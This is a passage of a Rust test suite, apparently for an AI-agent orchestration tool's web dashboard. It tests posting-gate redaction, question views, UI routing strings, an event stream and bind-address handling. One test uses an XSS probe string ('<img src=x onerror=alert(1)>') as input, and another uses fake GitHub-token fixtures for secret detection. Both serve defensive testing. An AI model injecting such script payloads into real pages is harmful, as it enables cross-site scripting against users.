21229            "abc".to_owned(),
21230            "x".to_owned(),
21231            crate::config::Config::default(),
21232        );
21233        let p = run_prose_md(&state);
21234        assert!(p.advice_md.is_none());
21235        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
21236    }
21237
21238    #[test]
21239    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
21240        let store = ask::Questions::at(PathBuf::from("unused"));
21241        let gt = crate::github_text::Withheld {
21242            title: false,
21243            body: true,
21244            categories: vec!["sensitive-data".into()],
21245        };
21246        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
21247        let (detail, comparison) =
21248            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21249        let mut q = Question::new(
21250            "r".into(),
21251            "github-text".into(),
21252            "posting-gate".into(),
21253            "s".into(),
21254            detail,
21255            Vec::new(),
21256        );
21257        assert!(
21258            QuestionView::of(q.clone(), &store, None)
21259                .posting_view
21260                .is_none()
21261        );
21262        q.posting_comparison = Some(comparison);
21263        let view = QuestionView::of(q.clone(), &store, None);
21264        let field = &view.posting_view.unwrap().fields[0];
21265        assert_eq!(
21266            field
21267                .original
21268                .iter()
21269                .map(|f| f.text.as_str())
21270                .collect::<String>(),
21271            body
21272        );
21273        assert!(field.original[0].text.starts_with("<img"));
21274        let original_question: Question =
21275            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
21276        assert_eq!(original_question, q);
21277        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
21278            .original
21279            .start = 1;
21280        assert!(
21281            QuestionView::of(q.clone(), &store, None)
21282                .posting_view
21283                .is_none()
21284        );
21285        q.posting_comparison = original_question.posting_comparison;
21286        q.detail.push_str("extra context");
21287        assert!(
21288            QuestionView::of(q.clone(), &store, None)
21289                .posting_view
21290                .is_some()
21291        );
21292        q.detail.insert(0, 'x');
21293        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
21294    }
21295
21296    #[test]
21297    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
21298        let store = ask::Questions::at(PathBuf::from("unused"));
21299        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
21300        let gt = crate::github_text::Withheld::from_check(
21301            &crate::github_text::check("fix: x", body),
21302            "fix: x",
21303            body,
21304        )
21305        .unwrap();
21306        let (detail, comparison) =
21307            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21308        let mut q = Question::new(
21309            "r".into(),
21310            "github-text".into(),
21311            "posting-gate".into(),
21312            "s".into(),
21313            detail,
21314            Vec::new(),
21315        );
21316        q.posting_comparison = Some(comparison);
21317        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
21318        let field = &value["posting_view"]["fields"][0];
21319        let group = &field["replacement_group"];
21320        let triggers = group["triggers"].as_array().unwrap();
21321        assert_eq!(triggers.len(), 2);
21322        assert_ne!(triggers[0], triggers[1]);
21323        for id in triggers {
21324            assert!(
21325                field["original"]
21326                    .as_array()
21327                    .unwrap()
21328                    .iter()
21329                    .any(|f| &f["pair"] == id)
21330            );
21331            assert!(
21332                !field["changed"]
21333                    .as_array()
21334                    .unwrap()
21335                    .iter()
21336                    .any(|f| &f["pair"] == id)
21337            );
21338        }
21339        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
21340            group["id"].as_u64().unwrap() as usize;
21341        assert!(
21342            QuestionView::of(q, &store, None).posting_view.is_none(),
21343            "group and trigger IDs cannot collide"
21344        );
21345    }
21346
21347    #[test]
21348    fn a_question_view_carries_markdown_for_each_thread_turn() {
21349        let home = TempDir::new().unwrap();
21350        let store = ask::Questions::at(home.path().join("questions"));
21351        let mut q = Question::new(
21352            "run".to_owned(),
21353            "implement".to_owned(),
21354            "impl-A".to_owned(),
21355            "which?".to_owned(),
21356            String::new(),
21357            Vec::new(),
21358        );
21359        q.say("plain words").unwrap();
21360        q.reply("use **this**", Vec::new()).unwrap();
21361        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21362        let bodies = &v["thread_bodies_md"];
21363        assert_eq!(bodies.as_array().unwrap().len(), 2);
21364        assert!(!bodies[0].to_string().contains("strong"));
21365        assert!(bodies[1].to_string().contains("strong"));
21366    }
21367
21368    #[test]
21369    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
21370        let home = TempDir::new().unwrap();
21371        let store = ask::Questions::at(home.path().join("questions"));
21372        let mut q = Question::new(
21373            "run".to_owned(),
21374            "conduct".to_owned(),
21375            "conduct".to_owned(),
21376            "which?".to_owned(),
21377            String::new(),
21378            Vec::new(),
21379        );
21380        q.say("plain words").unwrap();
21381        q.thread.push(ask::Turn {
21382            who: ask::Who::Agent,
21383            body: "Settled as `merge`".to_owned(),
21384            at: jiff::Timestamp::now(),
21385            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
21386        });
21387        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21388        let notes = &v["thread_notes_md"];
21389        assert_eq!(notes.as_array().unwrap().len(), 2);
21390        assert!(notes[0].is_null());
21391        let text = notes[1].to_string();
21392        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
21393        assert!(APP_JS.contains("ask-turn-note"));
21394    }
21395
21396    #[test]
21397    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
21398        // The land panel defers to `run.status` for merged, and labels a
21399        // recorded-open PR on any finished run (superseded, blocked, ...) as
21400        // last seen, never as live state.
21401        assert!(APP_JS.contains("function landView(run, raw) {"));
21402        assert!(
21403            APP_JS.contains(
21404                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
21405            )
21406        );
21407        assert!(APP_JS.contains("const pr = landView(run, raw);"));
21408        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
21409        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
21410        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
21411    }
21412
21413    #[test]
21414    fn live_runs_are_never_hidden_or_folded_as_superseded() {
21415        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
21416        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
21417        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
21418        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
21419    }
21420
21421    #[test]
21422    fn review_rounds_label_a_distinct_verified_head() {
21423        assert!(APP_JS.contains("round.verified_head"));
21424        assert!(APP_JS.contains("verified HEAD"));
21425        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
21426    }
21427
21428    #[test]
21429    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
21430        // A blocked task's chip and note must not fall back to a queued-like
21431        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
21432        // itself by e11fc58 but never checked here.
21433        assert!(APP_JS.contains("blocked: { glyph:"));
21434        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
21435
21436        // `blocked_by` mixes task ids and question ids in the same list, and
21437        // the client can only tell them apart by checking each id against
21438        // what it actually knows - never by guessing from the id's shape.
21439        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
21440        assert!(
21441            APP_JS.contains(
21442                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
21443            ),
21444            "the note line must name what a blocked task is waiting on, not just that it is blocked"
21445        );
21446        // The classification must key off `status_str`, never off `blocked_by`
21447        // or `block_reason` merely being present - both can survive briefly
21448        // on a task a hold or a dead daemon just moved off `blocked`.
21449        assert!(APP_JS.contains("if (status === \"blocked\") {"));
21450
21451        // A question a task is blocked on gets its own node in the same
21452        // dependency graph, not just a task-shaped node with nothing known
21453        // about it.
21454        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
21455        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
21456        assert!(
21457            APP_JS.contains("location.hash = \"#/questions\";"),
21458            "a question node must jump to the Questions screen, not pretend to be a task"
21459        );
21460
21461        // `Task::answers` - decisions already made - are shown as a record on
21462        // the card, the same disclosure style as the full instruction.
21463        assert!(APP_JS.contains("Resolved questions"));
21464        assert!(APP_JS.contains("r.answersList.append("));
21465        assert!(APP_CSS.contains(".task-answers"));
21466        {
21467            let start = APP_JS
21468                .find("function updateTalkTaskRow")
21469                .expect("updateTalkTaskRow");
21470            let body = &APP_JS[start..];
21471            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
21472            assert!(
21473                body.contains(
21474                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
21475                ),
21476                "a chat-filed task row must link to the task page"
21477            );
21478            assert!(
21479                !body.contains("#/runs/") && !body.contains("#/queue/"),
21480                "the row must not branch to a run or the queue card"
21481            );
21482            assert!(APP_CSS.contains(".talk-task-link"));
21483        }
21484    }
21485
21486    #[test]
21487    fn a_task_notification_links_to_the_task_page() {
21488        // A task notice opens the task detail page, not the Backlog card.
21489        let start = APP_JS
21490            .find("function noticeLink(")
21491            .expect("noticeLink exists");
21492        let body = &APP_JS[start..];
21493        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
21494        assert!(
21495            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
21496            "a task notice's link must target the task page"
21497        );
21498        assert!(
21499            !body.contains("#/queue/"),
21500            "regression: the task link must not go back to the Backlog route"
21501        );
21502        assert!(
21503            APP_JS.contains(
21504                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
21505            ),
21506            "`#/tasks/<id>` must parse into the task route"
21507        );
21508
21509        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
21510        assert!(
21511            APP_JS.contains(
21512                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
21513            ),
21514            "`#/queue/<id>` must parse into a route carrying that id"
21515        );
21516
21517        // And the Backlog view has to actually land on the card once it can
21518        // - see consumeQueueFocus(), which renderQueue() calls on every pass
21519        // so a focus set before the queue has loaded is retried once it has.
21520        assert!(APP_JS.contains("state.queueFocus = route.id;"));
21521        assert!(APP_JS.contains("function consumeQueueFocus()"));
21522        assert!(APP_JS.contains("jumpToTask(id)"));
21523    }
21524
21525    #[test]
21526    fn notifications_distinguish_actionable_questions_from_informational_notices() {
21527        let start = APP_JS
21528            .find("function noticeCoveredBy(")
21529            .expect("noticeCoveredBy exists");
21530        let body = &APP_JS[start..];
21531        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
21532
21533        // Historical associations are informational, even for open questions.
21534        assert!(body.contains("Associated question ${short}"));
21535        assert!(!body.contains("el(\"a\""));
21536
21537        // A resolved question displays status rather than an actionable link
21538        assert!(body.contains("(resolved)"));
21539        assert!(body.contains("(closed)"));
21540
21541        let start = APP_JS
21542            .find("function renderNotifications()")
21543            .expect("renderNotifications exists");
21544        let body = &APP_JS[start..];
21545        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
21546
21547        // Only a server-resolved answerable question supplies a response link.
21548        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
21549        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
21550        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
21551        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
21552    }
21553
21554    /// Chat rows are two lines at every width: the title alone, then the
21555    /// shrinkable secondary info.
21556    #[test]
21557    fn chat_rows_put_the_title_alone_on_the_first_line() {
21558        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
21559        assert!(APP_CSS.contains(
21560            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
21561        ));
21562        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
21563        assert!(APP_JS.contains("class: \"badge talk-unread\""));
21564    }
21565
21566    #[test]
21567    fn run_rows_put_the_title_alone_on_the_first_line() {
21568        assert!(
21569            APP_CSS.contains(
21570                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
21571            )
21572        );
21573        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
21574        assert!(APP_JS.contains("class: \"card run-card\""));
21575        assert!(APP_JS.contains("class: \"repo run-id\""));
21576    }
21577
21578    /// Wide screens get a master/detail layout built from the views a phone
21579    /// drills into. These are string assertions: they pin the contract between
21580    /// the three assets, not how it looks.
21581    #[test]
21582    fn wide_screens_show_list_and_preview_side_by_side() {
21583        // One breakpoint, spelled the same in the script and the stylesheet.
21584        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
21585        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
21586        assert!(APP_CSS.contains("main[data-split]"));
21587        assert!(APP_CSS.contains("body[data-split]"));
21588
21589        // The route -> panes table, and a narrow screen opting out of it.
21590        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
21591        assert!(
21592            APP_JS.contains(
21593                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
21594            )
21595        );
21596        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
21597        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
21598        assert!(INDEX_HTML.contains("id=\"split-empty\""));
21599
21600        // Selection is derived from the route, and only ever paints a row.
21601        assert!(APP_JS.contains("function markSelected() {"));
21602        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
21603        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
21604        // The dense row must override the stacked card the 720px block sets up.
21605        assert!(
21606            APP_CSS.contains(
21607                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
21608            )
21609        );
21610
21611        // Independent scrolling: the page stops scrolling, each pane does.
21612        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
21613        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
21614        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
21615        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
21616
21617        // A refresh must never navigate: the loaders still check that their
21618        // subject is the one on screen, and crossing the breakpoint only
21619        // re-reads the hash.
21620        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
21621        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
21622        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
21623        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
21624
21625        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
21626        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
21627    }
21628
21629    #[test]
21630    fn panel_sandbox_carries_exactly_popups() {
21631        let needle = "sandbox: \"";
21632        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
21633        assert_eq!(
21634            matches.len(),
21635            1,
21636            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
21637        );
21638        let start = matches[0].0 + needle.len();
21639        let end = APP_JS[start..]
21640            .find('"')
21641            .expect("sandbox attribute value must be terminated by a closing quote");
21642        let val = &APP_JS[start..start + end];
21643        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
21644        let expected: std::collections::BTreeSet<&str> =
21645            ["allow-popups", "allow-popups-to-escape-sandbox"]
21646                .into_iter()
21647                .collect();
21648        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
21649        assert!(
21650            !tokens.contains("allow-scripts"),
21651            "allow-scripts must never be present in sandbox"
21652        );
21653        assert!(
21654            !tokens.contains("allow-same-origin"),
21655            "allow-same-origin must never be present in sandbox"
21656        );
21657    }
21658
21659    #[test]
21660    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
21661        // consumeQueueFocus() clears an active Backlog search before it can
21662        // scroll to the target card (the sections list is hidden while a
21663        // search is showing), by recursing back into renderQueue(). The
21664        // fixer's first cut nulled state.queueFocus before that recursive
21665        // call, so the second pass saw nothing to jump to and the jump was
21666        // silently dropped whenever a notification's link was opened with a
21667        // stale search still active. state.queueFocus must only be cleared
21668        // right before jumpToTask() actually runs.
21669        assert!(
21670            APP_JS.contains(
21671                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
21672            ),
21673            "the search-clearing branch must run before state.queueFocus is cleared, or the \
21674             recursive renderQueue() call has nothing left to jump to"
21675        );
21676        assert!(
21677            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
21678            "state.queueFocus must be cleared only once the jump has landed, so a card that \
21679             arrives later still gets it"
21680        );
21681        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
21682        assert!(APP_JS.contains("is not in the current Backlog."));
21683        assert!(APP_JS.contains("li.card[data-task-id=\""));
21684        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
21685        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
21686        assert!(APP_CSS.contains(".card-permalink"));
21687        assert!(APP_CSS.contains(".queue-focus-status"));
21688        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
21689    }
21690
21691    #[test]
21692    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
21693        // The task's own repro: only the link text inside .notice-meta was
21694        // clickable, so a tap on the message, the timestamp, or the card's
21695        // padding did nothing - on a phone that reads as "the card doesn't
21696        // work" even though the tiny link inside it did. Mark read / Dismiss
21697        // must keep working independently of this: `.closest("a, button")`
21698        // is what lets a tap that actually lands on those elements fall
21699        // through instead of being hijacked into a navigation.
21700        assert!(
21701            APP_JS.contains(
21702                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
21703            ),
21704            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
21705        );
21706    }
21707
21708    #[test]
21709    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
21710        assert!(
21711            APP_JS.contains("round.verified_head !== round.head"),
21712            "a round that verified an earlier commit must be visibly distinct from one that \
21713             verified the head reviewers are looking at now"
21714        );
21715        assert!(
21716            APP_JS.contains("round.verified_at"),
21717            "when a check ran must be on the wire, not just which commit"
21718        );
21719        assert!(
21720            APP_JS.contains("resource_blocked"),
21721            "a command magi never got to run (shared build cache contention) must not render \
21722             the same as a command that ran and failed"
21723        );
21724    }
21725
21726    #[test]
21727    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
21728        // Every KPI tile but Total runs and Completion names an exact
21729        // RunStatus and hands it to openRunsFiltered(), which is what wires
21730        // the click into state.runsFilter.status (matchesFilter's own
21731        // status check) rather than the coarser runsStateFilter chips. Each
21732        // status literal here must be one of the strings runSection() (and
21733        // isStale()) actually compare a run's own `status` field against -
21734        // a status this dashboard invented would filter to nothing.
21735        assert!(
21736            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
21737            "every KPI tile built through statusTile() must route its click through \
21738             openRunsFiltered, the single place that sets the Runs filter"
21739        );
21740        for (label, status) in [
21741            ("Merged", "merged"),
21742            ("Ready", "ready"),
21743            ("Blocked", "blocked"),
21744            ("Stalled", "stalled"),
21745        ] {
21746            let call = format!("statusTile(\"{label}\", t.{status}, ");
21747            assert!(
21748                APP_JS.contains(&call),
21749                "expected the {label} KPI tile built via {call}..."
21750            );
21751            assert!(
21752                APP_JS.contains(&format!("status === \"{status}\"")),
21753                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
21754                 compare a run against, not one invented only for the stats tile"
21755            );
21756        }
21757        assert!(
21758            APP_JS.contains("function openRunsFiltered(status)"),
21759            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
21760        );
21761        assert!(
21762            APP_JS.contains(
21763                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
21764            ),
21765            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
21766        );
21767        // applyRoute() only flips which view is visible for a plain `#runs`
21768        // hash - it does not itself redraw the list (see applyRoute's own
21769        // handling below) - so openRunsFiltered must call renderRuns()
21770        // itself, and must call applyRoute() too so the view flips even
21771        // when the hash string doesn't change (the operator may already be
21772        // on the Runs view when a tile is tapped, which fires no
21773        // hashchange event at all).
21774        assert!(
21775            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
21776            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
21777             hashchange event that may never fire"
21778        );
21779    }
21780
21781    #[test]
21782    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
21783        // A stats tile can leave state.runsFilter.status set to something
21784        // done-by-construction (e.g. "merged") - picking "Active" afterward
21785        // must drop it the same way an incompatible tree section is already
21786        // dropped, or the Runs list renders permanently empty with no way
21787        // for the operator to tell why.
21788        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
21789        assert!(
21790            APP_JS.contains(
21791                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
21792            ),
21793            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
21794             guard for an incompatible tree section"
21795        );
21796    }
21797
21798    #[test]
21799    fn every_stats_queue_tile_names_a_real_queue_section() {
21800        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
21801        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
21802        // (consumeQueueSectionFocus finds no matching <details> and drops
21803        // the focus) rather than fail loudly, so pin every key against the
21804        // section list it has to resolve against.
21805        assert!(
21806            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
21807            "every queue tile built through sectionTile() must route its click through \
21808             openQueueSectionFocus"
21809        );
21810        for key in ["upnext", "running", "done", "held", "blocked"] {
21811            assert!(
21812                APP_JS.contains(&format!("{{ key: \"{key}\",")),
21813                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
21814            );
21815        }
21816        // Queued and Failed intentionally both resolve to "upnext" - the
21817        // same section queueSection() itself files them under - rather than
21818        // getting a section each.
21819        for line in [
21820            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
21821            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
21822            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
21823            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
21824            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
21825            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
21826        ] {
21827            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
21828        }
21829    }
21830
21831    #[test]
21832    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
21833        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
21834        // above for the section-focus channel a stats queue tile drives:
21835        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
21836        // through the stale-search-clear recursion into renderQueue(), and
21837        // clear it only once revealQueueSection() is actually about to run -
21838        // the same trap that once silently dropped a task-focus jump.
21839        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
21840        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
21841        assert!(APP_JS.contains("function revealQueueSection(details)"));
21842        assert!(
21843            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
21844            "renderQueue() must consume both focus channels on every pass"
21845        );
21846        assert!(
21847            APP_JS.contains(
21848                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
21849            ),
21850            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
21851             the recursive renderQueue() call has nothing left to reveal"
21852        );
21853        assert!(
21854            APP_JS.contains(
21855                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
21856            ),
21857            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
21858        );
21859        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
21860        // task-focus form of the hash - a plain `#queue` navigation only
21861        // flips which view is visible. openQueueSectionFocus() must
21862        // therefore call renderQueue() itself, and applyRoute() too so the
21863        // view flips even when the hash doesn't change (the Backlog may
21864        // already be open when a tile is tapped, firing no hashchange
21865        // event at all).
21866        assert!(
21867            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
21868            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
21869             hashchange event that may never fire"
21870        );
21871    }
21872
21873    #[tokio::test]
21874    async fn the_change_stream_announces_the_current_revisions_on_connect() {
21875        let f = Fixture::start().await;
21876
21877        let mut socket = tokio::net::TcpStream::connect(f.addr)
21878            .await
21879            .expect("connect");
21880        socket
21881            .write_all(
21882                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
21883            )
21884            .await
21885            .expect("write request");
21886
21887        // Read until the first event arrives rather than to end of stream: the
21888        // stream is endless by design, which is the point of the route.
21889        let mut seen = String::new();
21890        let mut buf = [0u8; 1024];
21891        while !seen.contains("event: change") {
21892            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
21893                .await
21894                .expect("the stream must speak within five seconds")
21895                .expect("read");
21896            assert!(read > 0, "the server closed the change stream: {seen}");
21897            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
21898        }
21899
21900        assert!(
21901            seen.to_lowercase()
21902                .contains("content-type: text/event-stream"),
21903            "the browser only reconnects automatically for a real SSE stream: {seen}"
21904        );
21905        let data = seen
21906            .lines()
21907            .find_map(|l| l.strip_prefix("data:"))
21908            .expect("a data line");
21909        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
21910        assert!(
21911            payload["queue_rev"].is_u64()
21912                && payload["runs_rev"].is_u64()
21913                && payload["questions_rev"].is_u64()
21914                && payload["talks_rev"].is_u64()
21915                && payload["notifications_rev"].is_u64()
21916                && payload["loop_rev"].is_u64(),
21917            "the client needs one revision per store to know what to refetch, \
21918             and `talks_rev` is the only notification a standing talk gets - a \
21919             phone whose radio slept through a turn learns about it here, as \
21920             does one whose operator started the loop from another device: \
21921             {payload}"
21922        );
21923
21924        // The front end re-polls health on a timer and on wake, and takes the
21925        // revisions from that answer whenever the stream is not up. So health
21926        // has to carry every key the stream carries: a phone on a link that
21927        // will not hold an SSE connection is exactly the phone that must still
21928        // notice a question, and a missing key there is not a 500 but a UI
21929        // that quietly stops updating.
21930        let health = f.get("/api/health").await.json();
21931        for key in [
21932            "queue_rev",
21933            "runs_rev",
21934            "questions_rev",
21935            "talks_rev",
21936            "notifications_rev",
21937            "loop_rev",
21938        ] {
21939            assert!(
21940                health[key].is_u64(),
21941                "health is the change stream's fallback and is missing `{key}`: {health}"
21942            );
21943        }
21944    }
21945
21946    #[tokio::test]
21947    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
21948        let f = Fixture::start().await;
21949        let before = f.get("/api/health").await.json()["talks_rev"]
21950            .as_u64()
21951            .expect("talks_rev");
21952
21953        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
21954        std::thread::sleep(Duration::from_millis(10));
21955        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
21956        on_disk.turns.push(crate::talk::Turn {
21957            sender: None,
21958            breaks: Some(Vec::new()),
21959            messages: Vec::new(),
21960            posted_by: None,
21961            who: crate::talk::Who::Operator,
21962            body: "a new turn".to_owned(),
21963            at: Timestamp::now(),
21964            attachments: Vec::new(),
21965            usage: None,
21966        });
21967        f.talks().put(&mut on_disk).expect("record a turn");
21968
21969        let after = tokio::time::timeout(Duration::from_secs(5), async {
21970            loop {
21971                let revision = f.get("/api/health").await.json()["talks_rev"]
21972                    .as_u64()
21973                    .unwrap();
21974                if revision != before {
21975                    break revision;
21976                }
21977                tokio::time::sleep(Duration::from_millis(50)).await;
21978            }
21979        })
21980        .await
21981        .expect("shared monitor observes external turn");
21982        assert_ne!(
21983            before, after,
21984            "a phone must be able to notice a talk's reply without polling every store"
21985        );
21986    }
21987
21988    #[test]
21989    fn bind_reads_back_from_the_spelling_the_cli_prints() {
21990        // The CLI shows the default in `--help` and parses whatever comes
21991        // back, so the two directions have to agree or `--bind auto` breaks
21992        // the moment someone copies the help text.
21993        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
21994            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
21995        }
21996        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
21997        assert!("everywhere".parse::<Bind>().is_err());
21998    }
21999
22000    #[test]
22001    fn an_explicit_bind_address_is_taken_verbatim() {
22002        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
22003
22004        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
22005
22006        assert_eq!(addr, asked);
22007        assert!(
22008            warning.is_none(),
22009            "an operator who named an address gets no lecture"
22010        );
22011    }
22012
22013    #[test]
22014    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
22015        let (addr, warning) = resolve_bind(&Bind::Auto);
22016
22017        // This has to hold on a CI runner with no `tailscale` and on a dev box
22018        // with one, so the invariant asserted is the one shared by both
22019        // outcomes: the address is either a real tailnet address offered
22020        // without comment, or loopback with an explanation. What must never
22021        // happen is a silent fallback - an operator told "listening on
22022        // 127.0.0.1" with no reason would go looking for a firewall.
22023        match addr {
